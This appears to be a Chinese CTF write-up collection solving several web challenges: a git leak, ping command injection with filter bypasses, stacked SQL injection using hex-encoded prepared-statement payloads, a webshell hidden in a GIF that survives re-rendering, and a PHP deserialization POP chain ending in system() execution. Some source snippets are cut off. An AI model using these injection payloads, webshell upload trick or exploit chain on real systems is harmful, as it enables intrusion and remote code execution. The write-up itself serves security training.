简单分析一下,参数a和b值不相等但MD5相等;参数c不为数字,不等于1024,且转换为整数时等于1024;参数name为伪协议
打开题目,提示git泄露
使用工具
先运行工具GitHack
,再访问./.git/
但是这里提取不到,要用到另外一个工具git_extract
(python2环境,我这里两个版本都下了)
然后在posts文件夹找到,得到flag
打开题目,发现是ping命令
查看页面源码,发现存在前端检测(所以命令执行要bp抓包)和告诉我们hint
访问一下,得到源码
&1');
?>
分析一下,过滤了分号,空格,斜杠,flag。分号我们用%0a代替;空格用%09代替;斜杠利用`cd …;cd…;cd…代替;flag直接反斜杠绕过
源码
from flask import Flask, render_template, request
import MySQLdb
import re
blacklist = ['select', 'update', 'insert', 'delete', 'database', 'table', 'column', 'alter', 'create', 'drop', 'and', 'or', 'xor', 'if', 'else', 'then', 'where']
conn = MySQLdb.connect(host='db', port=3306, user='root', passwd='root', db='ctf')
app = Flask(__name__)
@app.route('/')
def index():
field = request.args.get('order', 'id')
field = re.sub(r'\s+', '', field)
for s in blacklist:
if s.lower() in field.lower():
return s + ' are banned'
if not re.match(r"id|name|email", field):
field = 'id'
with conn.cursor() as cursor:
cursor.execute('SELECT * FROM userinfo order by %s' % field)
res = cursor.fetchall()
return render_template('index.html', res=res)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=True)
分析一下
id|name|email
cursor.execute('SELECT * FROM userinfo order by %s' % field)
这里的cursor.execute()是可以执行多条语句,我们可以使用堆叠注入;然后hint提示我们考点为预处理语句
set @id=1;
prepare stmt from 'SELECT * FROM users WHERE id=?';
execute stmt using @id;
由于这里没有禁用报错注入的函数,我们用updatexml去回显
payload
id;set @a=select updatexml(1,concat(0x7e,(select substr((select flag from flag),1,31)),0x7e),3);prepare ctf from @a;execute ctf;
id;set/**/@a=0x73656C65637420757064617465786D6C28312C636F6E63617428307837652C2873656C65637420737562737472282873656C65637420666C61672066726F6D20666C6167292C312C333129292C30783765292C3329;prepare/**/ctf/**/from/**/@a;execute/**/ctf;
id;set @a=select updatexml(1,concat(0x7e,(select substr((select flag from flag),32,99)),0x7e),3);prepare ctf from @a;execute ctf;
十六进制绕过
id;set/**/@a=0x73656C65637420757064617465786D6C28312C636F6E63617428307837652C2873656C65637420737562737472282873656C65637420666C61672066726F6D20666C6167292C33322C393929292C30783765292C3329;prepare/**/ctf/**/from/**/@a;execute/**/ctf;
payload相同
id;set/**/@a=concat("sel","ect/**/updat","exml(1,concat(0x7e,(sel","ect/**/substr((sel","ect/**/flag/**/from/**/flag),1,31)),0x7e),3)");prepare/**/ctf/**/from/**/@a;execute/**/ctf;
给了题目附件,我们主要看下upload源码
简单分析一下,首先会检测MIME类型是否正确,然后经过二次渲染上传到指定路径
我们这里用的是gif,我们先上传一下
然后打开010观察上传后的图片和之前对比哪里是不变的
然后在不会被二次渲染改变的地方添加一句话木马
(这里我最初上传的gif带一句话木马刚好没被改,就不用再添加一句话木马了)
上传图片,然后bp抓包修改文件后缀为php
访问,命令执行得到flag
源码
key = $key;
$this->value = $value;
$this->helper = $helper;
$this->expired = False;
}
public function __wakeup() {
$this->expired = False;
}
public function expired() {
if ($this->expired) {
$this->helper->clean($this->key);
return True;
} else {
return False;
}
}
}
class Storage {
public $store;
public function __construct() {
$this->store = array();
}
public function __set($name, $value) {
if (!$this->store) {
$this->store = array();
}
if (!$value->expired()) {
$this->store[$name] = $value;
}
}
public function __get($name) {
return $this->data[$name];
}
}
class Helper {
public $funcs;
public function __construct($funcs) {
$this->funcs = $funcs;
}
public function __call($name, $args) {
$this->funcs[$name](...$args);
}
}
class DataObject {
public $storage;
public $data;
public function __destruct() {
foreach ($this->data as $key => $value) {
$this->storage->$key = $value;
}
}
}
if (isset($_GET['u'])) {
unserialize($_GET['u']);
}
?>
题目给了提示,pop链子直接给出来
DataObject.__destruct() -> Storage.__set() -> Cache.expired() -> Helper.__call()
我们分段分析下首先是 DataObject类
class DataObject {
public $storage;
public $data;
public function __destruct() {
foreach ($this->data as $key => $value) {
$this->storage->$key = $value;
}
}
}
遍历 data 的内容, 将 key 和 value 赋值给 storage, 触发 Storage 的 __set ⽅法
Storage类
class Storage {
public $store;
public function __construct() {
$this->store = array();
}
public function __set($name, $value) {
if (!$this->store) {
$this->store = array();
}
if (!$value->expired()) {
$this->store[$name] = $value;
}
}
public function __get($name) {
return $this->data[$name];
}
}
如果 store 为空则初始化⼀个空的 array, 然后调⽤$value
的 expired ⽅法, 如果返回 False, 则会将 $value
放⼊$store
然后看Cache类
class Cache {
public $key;
public $value;
public $expired;
public $helper;
public function __construct($key, $value, $helper) {
$this->key = $key;
$this->value = $value;
$this->helper = $helper;
$this->expired = False;
}
public function __wakeup() {
$this->expired = False;
}
public function expired() {
if ($this->expired) {
$this->helper->clean($this->key);
return True;
} else {
return False;
}
}
}
调用expired()方法后,由于__wakeup方法会使得if语句不成立,从而无法继续调用后面的。所以这里要引用绕过,从而继续调用clean()
最后是Help类
class Helper {
public $funcs;
public function __construct($funcs) {
$this->funcs = $funcs;
}
public function __call($name, $args) {
$this->funcs[$name](...$args);
}
}
__call()
方法会按照传入的 name 从 funcs 数组中取出对应的函数名, 然后将 args 作为参数, 动态调用这个函数, 这里就是最终的利用点, 也就是可以 getshell 的地方。也就是说clean作为name的值,只需要让键名为clean的值为system即可。
exp
data=array('key1'=>$cache1,'key2'=>$cache2);
$a->storage=$b;
//store = array('key1'=>$cache1,'key2'=>$cache2)
//所以下面的$cache2->expired就不会被__wakeup所影响,因为指向的是非空数组
$cache1->expired=FALSE;
$b->store = &$cache2->expired;
$cache2->key = 'php -r "phpinfo();"';
$cache2->helper = $d;
$d->funcs = array('clean' => 'system');
echo serialize($a);
?>